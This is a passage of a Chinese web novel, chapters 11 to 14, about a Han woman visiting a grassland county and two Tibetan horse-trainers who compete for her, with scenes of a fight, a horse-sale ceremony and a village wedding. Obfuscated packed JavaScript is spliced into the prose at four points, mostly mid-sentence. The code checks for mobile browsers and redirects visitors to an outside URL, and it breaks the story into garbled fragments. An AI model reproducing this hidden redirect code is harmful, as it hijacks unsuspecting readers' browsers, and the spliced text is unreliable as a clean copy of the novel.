最后姑娘就调到了一个更远的县里去了。 也是从那时候起,他开始叛逆,到处打架。 黄毛小伙对汉族姑娘的不敬,给他惹来了两个人的拳脚相加。 11. 第11章 黄毛小伙被两人狠狠的揍了一顿,落荒而逃的冲出了酒店,躲了起来。 白玛也挨了几拳,鼻子出了点血。 次仁到是啥事没有,他不过是个补刀选手。 大家都安慰着一旁的苏曼,生怕她没见过这种场面。 她确实没见过,她只见过父亲殴打母亲,比这场面更加吓人。 “没事没事!男孩子打个架嘛!在我们这里太常见了。” 不爽就打一架,是他们解决问题的最直接方式。 苏曼掏出纸巾,上前递给白玛,站在他的面前: “干嘛要打架嘛,打架不好。你看你,鼻子都出血了。” 白玛接过纸巾擦了擦鼻子:“没事,小问题,谁叫他胡说话,不打他打谁。” 说着白玛朝次仁向上扬了下头,像是感激他的出手。而次仁只是轻微提了提嘴角,他又不是帮他,他是为自己打的。 次仁的故事,白玛也是知道的,大家心照不宣。 庆功宴就这么不愉快的散场了。 走出酒店的大门,苏曼有些愧疚。 “你的鼻子没事吧?要不要去医院看看?” “这算什么,我们骑马摔起来比这可凶多了。” 白玛把长发向脑后拨了拨,掏出香烟在门口抽了一根。 “你没有被吓到吧?”白玛看着苏曼, 苏曼牵了牵嘴角:“嗯......还好。” 白玛笑道:“我们这里打架太正常了,以后你就知道了。” “没事,我在呢,我骑马好,打架也不差。” 白玛补充道,那双黑眸里闪着自信与得意。 二人跨上摩托车,准备送苏曼回酒店。 “白玛!” 不远处传来一个姑娘的声音。 是德西。 德西今天也到县上来了,不知道是不是因为知道今晚县上庆功宴的事情。 所以她想来碰碰运气,看看能不能见到白玛。 刚才在门口,她听说白玛打架了,为了一个汉族姑娘。 她还听说,因为白玛带了那个汉族姑娘去参加庆功宴,有人嫉妒他。 而且,大家都在说那个姑娘长的很美,很白。 小伙子们夸的天花乱坠的,还说就连次仁都喜欢她,也一起为她揍了那个人。 这可是又激发了她的胜负欲了。 她势必要把白玛抢回来,她从小就喜欢他,全村人都知道,爸爸也知道。 在德西眼里,这样的他们,就已经算是在谈恋爱了。 白玛回过头看见了德西,德西走过来,苏曼坐在白玛的摩托车后座上。 苏曼往后坐了坐,松开了抓着白玛的衣服的手。 “做啥子?”白玛冷淡的问道, 德西紧闭着她的唇,只死死的盯着白玛,无视苏曼,但苏曼却能感觉一股火气朝她涌来。 “没事说,我走了。”白玛没理她,点着了车。 “你等下送我回村子嘛。” 白玛顿了顿,转过头:“我还有事做,不方便。” “你送她你就方便。”德西斜了一眼车后的苏曼。 “对。”白玛盯着德西。 德西气的说不出话来。白玛收起脚,拧开油门,车子呼啸而去。 苏曼第一次感受到被人选择的滋味。从小到大,她都是不被选择的那个。 而工作上的选择,尽是利益。 - 在这次赛马节上,白玛带过去的三匹马中,卖出了一匹。是他们同乡隔壁村的一位大叔看中了,双方谈好的价格是六万现金。这个价格还好,不算贵也不算便宜。 赛马节上卖出的马,基本不会太便宜,因为能带过去参赛的马,基本也都是已经调教的不错的马了。 那些一到三万的便宜马,只有在平时才会成交,在村名之间互相倒来倒去。 今天是他们的马匹交接仪式,白玛想带苏曼来他们村里看看。 在村里,只要谁家卖出了马,就会举行隆重的交接仪式,其他村的人也会来沾沾喜气。 也许正是这种传统,才让白玛有机会一次次的站在大家面前展示他的卖马实力,而与他这位年轻人交易的,往往都是中年人,这更显得白玛这个小伙子的特别了。 白玛一早就来接上了苏曼,今天苏曼精神特别的好,白玛更是,似乎二人都未受昨日黄毛小伙的影响。 一路上白玛的手机微信响个不停,白玛说是兄弟们都在给他发红包祝贺呢。 这也是他们的一种习俗,谁家卖了马,其他家就要发红包祝贺,就像汉地谁家结婚就要随份子一样。等下次别家也卖了马,白玛也是要回礼发红包的。 红包金额都不大,都是52元,5.2元,或者8.8元这样的吉祥数字。主要还是一个心意。 当然富裕一点的或者关系更深一点的兄弟就会发像88元,188元,520元这种。 车子开进了白玛的村子,这是苏曼第一次来到他们村,距离县城大约六分钟的车程。开出县城顺着318国道往机场方向,大约第三个村庄就是。 村里的主路都铺上了水泥地,各家的车子也进出方便,沿着主路的两旁,就是他们各家盖的砖房,每家都有一个超大的院子,院子里砌了马房养马。 只是各家的马房会不一样,好一点的马房是用砖砌的,简陋一点的就是用几块铁皮拼在一起。 从主路走向他们各自的砖房需要踏过一片草地,但是这片草地是村上的地,马儿是不可以在这里吃草的,吃草需要将马放到山上去,不然有可能会被罚款。 所以今天的交接仪式就是安排在水泥路的交叉口那里,也算是村子里的中心了。 此时来的人还不算多,村子里的人都还没有过来,过来的基本都是外乡外村来看热闹的兄弟们。 次仁和扎西也来了,他们俩还穿着昨天的那套衣裳,站在一边聊天。次仁双手插在口袋里,依然一副酷酷的样子。 白玛也看见了他们,但是他要先回家去准备马,在交接前要把马好好的打扮起来。 而他又不能把苏曼带回家去,所以只好把苏曼先放在这里: “我先回去弄一下马,一会儿牵过来搞那个交接嘛。所以我现在不能陪着你。你自己在这里看可以吗?” “可以的,没事,我正好自己溜达溜达,我还是第一次来你们村里呢!”苏曼心情很好。 可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591138|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白玛欲言又止,他担心次仁。 扎西他到是不太担心,虽然他花花的样子,但是苏曼应该不喜欢这种。 她应该也会喜欢次仁这种吧。哪个女人不喜欢呢? 苏曼下了车,左右看了看,直接朝次仁和扎西走去。 他们俩也注意到了她。 “姐姐!你也来啦!”扎西喊道, 次仁转过身来,看着走过来的苏曼,脸上虽然没有表情,但在日光下却是柔和的。 次仁比他们年长个三四岁,所以看起来要成熟一些。但是他却还没有结婚,他说他要等到三十岁再结婚,不想那么早结婚,现在对结婚没有兴趣。 “扎西,你跟次仁也认识啊?” 苏曼因为和扎西比较熟,所以先和扎西说话, “是啊,我们几个村几个乡的都是好兄弟呢!” 在他们这里,只要是认识的就都可以称之为兄弟。 “姐姐,你也认识次仁吧,昨天不是还一起吃饭嘛,次仁还为了你打了人呢!” 说完扎西又坏坏的笑着,似乎在吃一颗好大的瓜。 “是,我们还加了微信。” 次仁往扎西胸口扎了一刀,简直太扎心了。 扎西可算是逮着机会了,趁着白玛不在,赶紧把姐姐的微信加上。 终于如愿了,扎西也加上了漂亮姐姐的微信。 这可还真得多谢次仁的助攻。论聪明,还得是扎西。 “次仁,你咋能加上姐姐的微信嘛?我都加了好几次了,白玛都不让。白玛怎么可能让你加嘛,他可是把姐姐护的死死的呢!” 次仁淡淡一笑:“为什么要白玛同意?” 这倒是问的好,扎西挠着头,向次仁竖起了大拇指: “还是你厉害哦,我每次要加姐姐微信,都被白玛看的死死的,每次都不让我加。今天趁他不在可算加上了。哈哈!” 苏曼在旁边听着两个人的对话无语的笑着,也想起了昨晚次仁是怎么默默的扫了她的二维码。 她看着这个漂亮的高个子次仁,他和白玛相同又不相同。 相同的是两个人都不爱说话,沉稳成熟。 不同的是,这个次仁更让人捉摸不透。 她开始悄悄的关注起他来。 - 交接仪式还没有开始。 白玛应该还在打扮他的爱马,这相当于是给它“出嫁”一样的隆重。 于是扎西提议去村口的小卖部买个雪糕吃吃。 扎西领着三个人朝着村子里的小卖部走去。 苏曼走在中间,扎西和次仁像两个护卫一样走在两边,一高一矮的两个金刚。 而苏曼总是用余光在观察着次仁,次仁却默不作声。 反倒是扎西依然叽叽喳喳的:“一会儿不知道德西来不来。” 他到是第一时间总担心着瓜田里的瓜。 次仁挑了挑眉:“怎么了?” “哎呀你不知道啊?德西喜欢白玛啊,她最近一直在吃姐姐的醋呢。” 话说到这,苏曼的脸就红了起来:“没有没有,都是误会哈。” 次仁转过头挑着眉看着苏曼: “白玛喜欢你吧?” 12. 第12章 “我看是!白玛以前他从来不理女孩子的,现在天天围着姐姐转。” 扎西马上脑补了一个瓜。 “那不是工作嘛,我请他给我当向导啊,没有他,我哪有这么多好玩的节目,哪有机会来看你们赛马啊!啊对了,次仁,你那天也去赛马了吧?我咋没看到你呢?” 苏曼把话题扯回了正道。 “我去了啊,只是你没看到我,你眼里都是白玛嘛!哈哈!”次仁也开始打趣起苏曼了。 他笑起来,很好看。长圆脸,奶呼呼的。跟他酷酷的样子完全相反。 “姐姐!你不会也喜欢白玛吧?那就太好咯!姐姐你嫁到我们草原来,你看我们这里风景多美。” 扎西脑中的瓜让他兴奋,好像自己的兄弟马上就能有一个漂亮的汉族嫂子了。 苏曼心想,风景美也不能当饭吃啊!他还真是个单纯的小伙子。 次仁收起笑容沉默了起来,默默的吃着他的雪糕。 “姐姐,我跟你说,我们村里就有一个是外地嫁过来的呢。不过他是男的,他嫁给了我们村子里的一个女的,都生三个娃娃了。很幸福的呢!” 扎西继续企图说服着苏曼,他特别期望这件事情能成真。 苏曼不知道如何对兴奋的扎西做出回应。 “嗯,但是我不想结婚呢。” 次仁转过头看着她,他也看不懂她。 他对她的故事感到好奇。 “姐姐,你谈过几个男朋友嘛?”次仁难得主动的提问, 苏曼有些慌,他们真的这么直接吗?还真是不太好适应。 只好硬着头皮回答:“我没谈过,不想谈。” “啊?!” 扎西和次仁都同时扭过头,惊的瞪大了眼睛, “我们比你小,都谈了好几个咯!姐姐你竟然一个都没谈过?我不信!” 苏曼笑了笑,表情复杂,不知是苦笑,还是不以为然。 扎西以谈的女朋友多为荣,怎么也不能理解一个都不谈的人。 而次仁大概似懂非懂。 只有被伤过的人,才会心死。 三个人慢慢走回了卖马交接仪式的现场,人已经很多了。 德西也在。今天的她还盛装打扮了一番,穿了一件崭新的浅灰色民族服装,耳朵上戴着大大的珊瑚耳钉,垂的她的耳垂坠了下来,脸上到是没有像那天一样涂脂抹粉,或许在父老乡亲们面前不适合太过妖娆。 旁边站着的应该是德西的爸爸和妈妈。 德西爸爸个子很高,一头齐腰的长发,头上戴着一顶羊毛毡帽。德西妈妈头上裹着一个暗紫色的头巾,面容有些沧桑,眼角已经爬上了明显的皱纹,她的样貌看上去比苏曼的妈妈还要老。 岁月经不起日光摧残,二十岁时的她,应该也是很美的吧。 他们都来看这个热闹的交接仪式。白玛应该是村里年轻小伙中,最能干的人了。 扎西和次仁默契的带着苏曼,站到了人群的另一边。他们可不想卷入德西的修罗场。草原上的女人有多难搞,他们都是知道的。 苏曼小心翼翼的跟在次仁的身后,他高大的、笔直、酷酷拽拽的身子,应该能帮她挡一挡。 次仁总是一副你们谁也不要招惹我的样子,也丝毫不会害羞身边站着一个汉族女人。 毕竟,这种战斗他曾经已经经历过一次了。 - 卖马仪式终于开始了,苏曼赶紧擦了擦吃完雪糕的手,掏出了手机。 次仁看着她手忙脚乱的样子,微扯嘴角笑了笑。 白玛牵着他的马走了过来。脖子上挂着白色的哈达,还是穿着昨天的那件大红色。 马儿全副武装。 挂着铃铛,披着马毯,身上安上了最贵的马鞍,四只腿上还用红色的绷带缠着,马的脸上左右两边,还有两根像什么动物的角一样的细细的装饰伸了出去。 像个马将军,真是威风凛凛。 白玛昂首阔步的牵着马儿,像个送女儿出嫁的父亲一样骄傲。 大家四处散了开来,留出了一块大的位置。 苏曼被人群挤的不停向后倒退,她可没有这种经验,身子一下子趔跪了下去,次仁迅速伸手提起了她。 苏曼站直了身子,发现脚好像有些崴了。但是还好,不严重。 白玛看了一眼过来,但他也只能站在原地,等买马的人过来走仪式流程。 “你没事吧?”次仁抓着苏曼的胳膊问, “没事,好像小崴了一下。” “那你扶着我吧。”次仁伸出胳膊, 苏曼只好抓住次仁的胳膊,站在一旁。 德西看了看这边,又看了看白玛那边。 买马的大叔带着哈达走了过来,将哈达挂到了白玛的脖子上。并交给了他六捆现金,每一捆就是一万元。 白玛也将一根哈达献给了买马的大叔,并把马儿的缰绳交到了他的手上。 然后二人站定,白玛一只手托着现金,一只手握着大叔的手,而大叔也是一手牵着缰绳,一手和白玛相握。 然后大家走向前去,给他们两个人的脖子上挂满了五颜六色的哈达。 两个人再次齐齐站好,摆出威风凛凛的草原汉子姿态,并且把那几捆现金握成一付扑克牌的样子,向大家展示成交的金额。再等着各个方位的相机,拍照片,录视频。 围着的人群发出像在赛马场上一样的赞叹吼叫声,气氛十分的浓烈。 他们见证着年轻一代继承了他们的马业衣钵,满是欣慰。 德西眼里满是仰慕,她挽着妈妈的手,注视着这个她势在必得的男人。 德西爸爸的吼叫声最大,他早就在村子里散播,要白玛做自己的女婿,似是昭告众人,不要跟他抢。 到这里,整个交接仪式,就算是正式结束了。 拿到马的人,就开始把马装到车上拉回自己的家。 当然,他还要把马儿身上装扮的东西再一件件卸下来还给白玛。 听说,那些东西也都是价值不菲。 苏曼就这样轻轻扶着次仁的胳膊,掂着脚,看完了整个卖马仪式。 白玛把钱装进了一个黑色的塑料袋里,先跑了过来: “怎么啦?崴到脚啦?厉不厉害?还能不能走?” 白玛把苏曼从次仁的身边扶了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591139|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,开始搀着她检查一下还能不能走,看看严不严重。 “没事没事,就是小崴了一下,不严重,走也差不多能走。” 说完苏曼垫着腿试着走了几步给白玛看。 白玛提着她的胳膊,她就像只被拎着的小兔子一样,在那里一蹦一跳的。 扎西见白玛过来了,就先回去了。德西远远的看着这边,心不甘愿的也回了家。 只留下次仁和白玛在这里,白玛和次仁面面相觑,还是决定先把她送回酒店。 白玛扶着苏曼进了车里,自己又走上了驾驶室。 次仁默不作声的也拉开了车门。 白玛回头看了他一眼。 “白玛,今天怎么没见你家里人来?我都看见德西和他爸爸妈妈了。” 苏曼想缓解一下气氛,叫大家不要为她担心。 “哦,弟弟妹妹上学去了呢。妈妈在舅舅家照顾奶奶。” 白玛左手搭在方向盘上,右手挂上了一档。 “那你爸爸呢?这么大的事情,你爸爸都不来支持你啊?” “爸爸......不在了......”白玛淡淡的说道, 苏曼楞了一秒,心里忽地顿了一下,忙道歉:“哦,对不起,我不知道。” “没事,村子里的人都知道的。骑马摔的。” 次仁也知道,大概整个乡里的人都知道。 白玛似乎只是在讲述一件过去了很久的平常的事情。 在白玛五岁那年,他的爸爸因为骑马摔下来受伤了。脚被挂在了马镫子上摘不出来,导致马拖着他奔了很久,肋骨被踩断,穿到了肺部,县上医疗条件有限,来不及送兰城,没有救过来。 骑马会受伤,甚至危及生命,是每个勇敢的骑手,都会接受的事情。 苏曼有些明白为什么白玛的骑术会那么好了,或许这就是他怀念父亲的一种方式。 他在大家都在玩闹的孩童时期,便已经开始了骑马,别人在打篮球,他永远都在骑马。 直到他成为村子里男子汉中的第一名。 这或许是一个没有父亲的男孩,给自己挣来的骄傲。 “白玛,是谁教你骑马的啊?”苏曼想聊一些轻松的话题,想聊聊白玛。 “啊,我舅舅,我的第一匹小马就是我舅舅送给我的。”白玛明显很愿意聊这个话题。 “那你多大开始骑的?” “十岁?还是八九岁?不记得咯。反正我参加比赛是十三岁。” 这个他到是记得很清楚。 “那你好厉害哦!” 舅舅,也许在白玛的生命中,一直充当着父亲的角色。 - 把苏曼送回酒店,次仁就走了。白玛又马不停蹄的去找餐馆,给苏曼点了两个小菜打包。 回到酒店门口,他犹豫了,是上去呢,还是让苏曼下来取一下呢? 拎着外卖在酒店门口来回踱步,思前想后。 最后还是鼓起勇气: “姐姐,你住几号房?我给你送饭上来。” 他终于推开了酒店的大门,慌张的走在大厅里, 似乎所有人都在看着他。 13. 第13章 此时的他恨自己的身高,站在这里多么显眼。 甚至都没有等电梯,而是直接冲上了楼梯。 一口气爬到了五楼。 满手是汗,深吸一口气,敲开了苏曼的房门。 “白玛!你咋了?一头的汗。”苏曼看见他窘迫的样子,疑惑的问道。 同时示意他进来。 白玛不清楚自己是怎么迈的腿,走了进来,放下外卖,又冲回了门口: “姐姐,你吃吧,我先走了。” 白玛一口气冲了下楼,还好没遇到熟人。 待他缓过神来,正准备回去,只见次仁双手插着上衣口袋朝酒店这边走了过来。 白玛一阵警觉: “你怎么来了?” “哦,我给苏曼买了膏药。”次仁不紧不慢的说。 白玛刚平复下来的心,又提了起来: “膏药?什么膏药?在哪呢?” 他怎么没有想到给苏曼买膏药。贴上膏药,说不定明天就能走路了。 次仁揣在兜里的手杵了杵自己的口袋,示意在口袋里呢。 “给我吧!我帮你送上去,我刚给她送外卖了。” “我买的,干嘛要你送。”次仁无视了他。 白玛还真没遇到过这样的事情,两个男人在为一个女人僵持。 但他心里有点堵:“那我跟你一块上去吧。” 次仁抿嘴笑了一下,径直就往里走,白玛悻悻的跟在身后。 他从来没有这么憋屈过。 两个高个子大男孩,谁也没有和谁说话,就像相互不认识一样,站在电梯口。 次仁面不改色,白玛万马奔腾。 再次敲开苏曼的房门,苏曼把两位迎了进去。 次仁大方的走进去,直接坐在了沙发上,掏出口袋里的药,放在了桌子上。 白玛坐在旁边,傻乎乎的看着桌上的药,手足无措。 苏曼坐在床边看着他俩,一下子也尴尬了起来。 次仁站起身,去帮着烧一壶开水,转过头道: “我以前女朋友也是你们汉族的,她可娇气了,跟这边的姑娘完全不一样。她要是崴到脚了,肯定是第一时间找我。我看姐姐你还挺坚强的。” 他终于提到了自己交往过汉族女朋友。 白玛莫名有些烦躁,好像自己是个多余的存在: “我们走吧,别打扰姐姐休息了。晚上我再来给她送饭。” 次仁挑挑眉,又转头看了一眼白玛,将装满水的水壶放下,按下了启动按钮。 “行,那姐姐你一会儿记得把药膏贴上。” 白玛拽着次仁落荒而逃。 白玛憋着一肚子的气,直接就向次仁开火:“你什么意思?你要追她吗?” “对啊,不可以吗?” 次仁似是挑衅,白玛看不出他说的是真是假。 “不行!” “为什么不行?” “她是我的客人!” “我又没抢你的生意。”次仁仰起头,斜眼看着白玛。 ....... 白玛反击道:“你也不能是个汉族女孩都要追吧?” 次仁舔了舔唇,没有说话。 次仁不爱读书,在外的人设就是一个爱打架,总是惹女孩伤心的混不吝。 但他身上有一种忧郁的气质,这种气质,让他更能看懂汉族女孩身上的内敛和隐藏。 他喜欢那种隐藏,让他着迷。 而高原女孩一股脑全给过来的爱,了无生趣。 他喜欢用他的直给与霸道,去保护汉族女孩的退缩与隐忍。 可是当年,就在他准备和全世界干仗的时候,他心爱的姑娘却退缩了。 原来退缩,也可以和勇敢一样的坚定。 这,成了次仁心里永远解不开的题。 - 白玛原本是计划带苏曼去林孜县买马。拿着昨天卖马的钱,再去挑两匹马回来好好调教,来年的赛马节,就又能卖出个好价钱。 可是苏曼的腿崴了,他不知还该不该带她去。 但他确定,去林孜县买马,一定是个有意思的事情。 他给扎西打了一通电话,想征询下他的意见,毕竟他的鬼点子多。 “去啊去啊!姐姐肯定喜欢的。要不你问问她脚好些了没有嘛,要么我陪你一起去,我带个小凳子,随时随地让姐姐有地方坐着,我牺牲一把!不过,你那匹小红,你得便宜点卖给我,少拿点现金嘛,我给你再加两头牛嘛。” 扎西办法不错,但是白玛有些无语: “哎呀,我就知道你盯上了我的小红,别人给我出五万块我都没卖。你这样,你给我拿个三万现金,再加两头母牦牛。我就不挣你钱了。回头你把牦牛给我赶到我大舅舅家去。现金的话嘛,你先给两万,年底的时候你再把剩下的一万给我。” 在高原,所有交易,都是可以部分现金再加部分易货的。 这还有点接近原始社会。类似于我拿个锅给你换个盆的意思。 而且他们还可以预定交钱的时期,总之,这还是一个信用社会,没有合同一说。 苏曼的脚,确实是没啥事了,只是隐隐有一丝的不适,也或许是心理作用。但走路大约是没问题了。 但是,她却不太想去,这让白玛和扎西有些意外。 原来,是次仁说要带她去另一个乡里参加当地的婚礼。 这对苏曼来说极具吸引力。 白玛决定不去买马了,不差这几天。 何况,去林孜县要开几个小时的车,如果遇上天气不好,还得在林孜县过夜,苏曼的腿又不方便,确实不适合今天去。 “算了,那我们也不去了,扎西,你去打听一下撒尼乡今天谁结婚。” 扎西这个小机灵鬼: “哎哟,我现在是被小红绑架咯,你现在干啥子都要我帮忙咯。怎么?你要追姐姐啊?” “什么啊!是次仁要追姐姐。” “什么?次仁要追姐姐?不是吧?” 扎西一脸的惊讶,这才见过两回面而已啊,这次仁就准备对姐姐下手了,他都没敢呢。 “嗯,他昨天说的,你看他今天就约姐姐了。” 白玛皱着眉,在想着这个次仁果真难缠,出手真是快。 他想起了他们当地小伙子嘴边常说的一句话: “爱上你的那一刻,我连孩子的名字都已经想好了。” 扎西这个军师,开始四处打听,哪位兄弟今天结婚,好直接带着白玛杀过去,可不能让次仁那个家伙捷足先登了。 -
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591140|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏曼今天的行程安排给了次仁,这到让她有些期待。 高原婚礼固然是她最想参加的,但次仁的神秘,她也是有些好奇的。 苏曼赶紧起来洗漱,化好了精致的妆,穿上了羊绒大衣,喷上了香水。 “苏曼,你好了吗?我在楼下。”次仁直接唤着她的大名,她还有些不习惯。 “马上下来。” 匆匆下了楼,次仁按了声汽车的喇叭,示意苏曼他就在那里。 苏曼拉开车门,坐进副驾,眼前一个长发美男子。 今天他没有再穿他那件皮衣,而是穿了一件咖色爆皮纹羊羔毛夹克,里面简单一件T恤。 脱下皮衣的他,看上去没有了那股拽劲,今日到有些像个小公子。长发依然垂在两边,盖住了他柔和的脸。 “你今天又喷香水了啊?” 次仁大大的眼睛裹满了睫毛,眉眼弯弯的看着苏曼似有笑意。 “啊,婚礼嘛,隆重一点嘛。”苏曼不知道怎么感觉有些紧张。 “我喜欢,我以前的女朋友也有香水,淡淡的那种。” “啊,知道的,我听他们说过。就是那个汉族女孩吧?” 苏曼觉得聊聊他的前女友,也挺不错。 “你怎么知道我说的是汉族女孩?”次仁开始逗苏曼。 “呃......不知道,直觉吧。” 苏曼也不知道为什么,一说起次仁的爱情,那肯定就是那个汉族女孩。 “对,你真聪明。她是我第一个爱的女孩,后面再也没爱过。” “再也没爱过?呃......” 不是还谈过好几个了嘛?苏曼没敢问太多。 “嗯,可能我对这边的女孩子没什么感觉。” 难道说,他只喜欢汉族女孩?这......颇有些狼入虎口的感觉。 苏曼想起了白玛,他会不会不高兴?今天拒绝他,跟了次仁出来。 “怎么啦?想白玛啦?” 这家伙!为什么他能猜中女人的心。 “没有没有,他今天去林孜县买马呢。”苏曼掩饰的说道, “他......应该不会去了吧......” 次仁仰着头,看着前方的路,将方向盘往右一打,车子拐上了318国道,这是去白玛村子相反的方向。 “为啥?” “因为他喜欢你啊。” 次仁的聊天方式,直接的可怕。 苏曼招架不住。 “什么呀,怎么可能。” “怎么不可能。我也喜欢你啊,扎西不是也喜欢你嘛。” “哦......这种不叫喜欢啦。” 苏曼这样安慰着自己,如果说是这样的喜欢,到还不算严重。 次仁转过头看着苏曼,似乎在宣示自己正式加入战场。 “什么样的叫喜欢?” 次仁也想知道,喜欢到什么样的程度才叫喜欢。 苏曼也说不上来: “如果只是因为一个人的样貌或者新鲜感而喜欢的话,那肯定不算。” 次仁笑了笑: “我一开始喜欢她,是因为她是我的音乐老师,她的曼陀铃弹的很好。” ——喜欢一个人,始于什么不重要,重要的是终于什么。 14. 第14章 车子大约开了一个小时,终于来到了这个非常远的乡村。 苏曼也终于领教了这个县城的地域广阔。乡和乡之间,竟然都需要开这么久的车。 次仁说这个乡比较富裕,是整个县里最富裕的一个乡。 因为比较偏远,有大片的草地可以供牛羊吃,所以这个乡里的家家户户都有数量可观的牛。 虽然他们的资产很富,但他们的日子也很苦。每天就是枯燥的放牛,风吹日晒,日日不断。 据说,很多小伙子都想娶这个乡的姑娘,因为可能随随便便的嫁妆就会有三四十头牛。 若是能嫁给这个村的姑娘,那就更好了。 不能嫁出去的姑娘,往往是因为需要坐家。而坐家也就意味着可以继承家里的所有财产,男人嫁过来,一起帮着养女方的父母,作为这个家里的男子承担起责任。 而那个追着次仁的女孩,就是这个乡里的。 当然,次仁家里条件也不错,家里有好几百头牛,据说还有一百多匹马。 他作为最小的儿子,他的嫁妆肯定有一百头牛! 车子缓缓的驶进村子,苏曼开始满心期待了起来。 高原上的婚礼一般都是安排在夏天,这个最好的季节。 新人们会把家里所有贵重的饰品都穿戴在身上。主要是以黄金做成的饰品为主,几百克的长长的黄金项链和手链是标配。甚至村民之间还会互相借来借去用一下,只为了充个门面。 新娘和伴娘都会把头发编成一条一条细细的辫子,往往需要几个人花费几个小时来完成。头上身上再戴上精美的沉重的民族饰品,各个地区的形制也会有所不同。 而新郎和伴郎则会戴上假发,用红绳盘在头顶,假发上会戴上一排硕大的红珊瑚、绿松石饰品,当然几百克的长长的黄金项链和手链也是必须的,腰间再横跨一把威风凛凛的长刀。 这一天他们也会穿上最昂贵的服装,若是整张带毛羊皮捻制而成的一套则需要花费两三万元。 总之,他们身上就像是一个行走的银行,各个看着都像是财阀家的子女,全身金光闪闪。 这家人的门口已经到处都是人,大家盛装而来。 苏曼跟在次仁的身旁,又引来了大家的注目礼。 苏曼感到有些不自在,她已经不能像是刚来时一样,作为一个游客般,对这些持有顿感力了。 次仁一副完全不在乎的样子,双手插着兜,带着苏曼往人群里走。 这时有人认出了次仁: “兄弟,你也来啦!这是谁啊?不会是女朋友吧?你那个曲珍咧?” 好像这里的每一个人,都知道一些男女之间的八卦。可能他们的生活里,也没有什么其他有意思的事情了。 次仁向他扬了一下头,算是打了招呼: “什么曲珍,曲珍跟我有什么关系。这是我朋友,苏曼。” 次仁把苏曼的名字喊出来,就好像是故意要告诉他们,这是一个汉族女孩。 苏曼觉得自己好像变成了一个工具人,成为了男人们之间炫耀或霸占的物品。 那个在职场上叱咤风云占据主导的苏曼,在这里,只是变成了一个女人或物品。 小伙子们对次仁也很尊敬的样子,到不光是因为次仁一副拽拽的模样,他确实是一个有实力的人。 次仁在这十里八乡,在训马上是出了名的狠人,什么难训的马他都要去挑战。 他的曼陀铃也弹的很好。在县上教小朋友们弹琴的同时,还经常被县里邀请去表演节目,应该算是在音乐这一领域,也是有头有脸的人物了吧。 再加上他和汉族女孩的故事,哪个不知道他的倔性子,敢爱敢恨。是个草原汉子都要向他竖起大拇指。 家境的优渥,也让他总是一副谁也不在乎的样子。 说白了,他从任何角度,都不需要讨好任何人。 苏曼终于理解了,为什么同样是俊美男子,白玛和次仁的区别了。 一个是长相柔美但性格刚烈的公子哥儿,自带一副冷酷又云淡风轻的气质。 一个是长相凌厉但性格沉稳的家庭支柱,他势必无法做到时刻轻松。 白玛,也在默默的前进着,他也从来没有输过任何人。 - 新郎的兄弟们一个个盛装走了出来,相当于就是汉地的伴郎。大概有个十个人的样子,他们都站成了一排,新郎站在中间,摆成一副草原汉子的威武架势。 而新娘的伴娘,则只有左右两边的两个人而已。 正当苏曼眼花缭乱看的起劲的时候,白玛拍了拍她的肩膀,站在了她的身旁。 “白玛,你怎么来啦?你不是去买马了吗?”苏曼一脸的不可思议。 次仁看了一眼,似乎也没当回事,继续看着前面。 他对白玛的到来,丝毫不感到意外。 “哎,今天先不去了,我也来看看婚礼。” 白玛一直看着苏曼旁边的次仁。 “兄弟,我就知道你会来。”次仁给了苏曼一个眼神。 苏曼眼睫闪了一下,想到了刚才次仁说的:白玛也喜欢你。 苏曼站在两人的中间,似乎比现场的新娘还要惹人注目。 可能大家都在感慨,汉族女孩到底有什么魔力,总能牵走我们草原上小伙子的心。 “扎西呢?你们本来不是一起去买马吗?他怎么没跟你在一起?” 苏曼开心的跟白玛聊了起来,白玛来了,她感到特别的安心。 他就像是一个安心忠诚的武士。 “噢!我让他去办点事,一会儿就过来。” 苏曼十分好奇,白玛在这么远的乡里能有什么事情要办。 婚礼开始进行各种仪式。但大致还都是走来走去、摆来摆去的做威武姿势。 他们从一处走到另一处,再又走回来,来回走个几遍。 接着进行煨桑仪式。 就是把“松柏枝“这种植物和“青稞”混合在一起然后点火烧着,熏出烟来以后,在空气中做着一些挥洒的薰烟动作,是他们这个民族祭天地诸神的一种仪式。也是对新人的祝福和祈祷。 煨桑仪式是在任何重大节日都会举行的一种传统仪式。 当然,他们也请了当地的歌手来唱歌,这都是条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 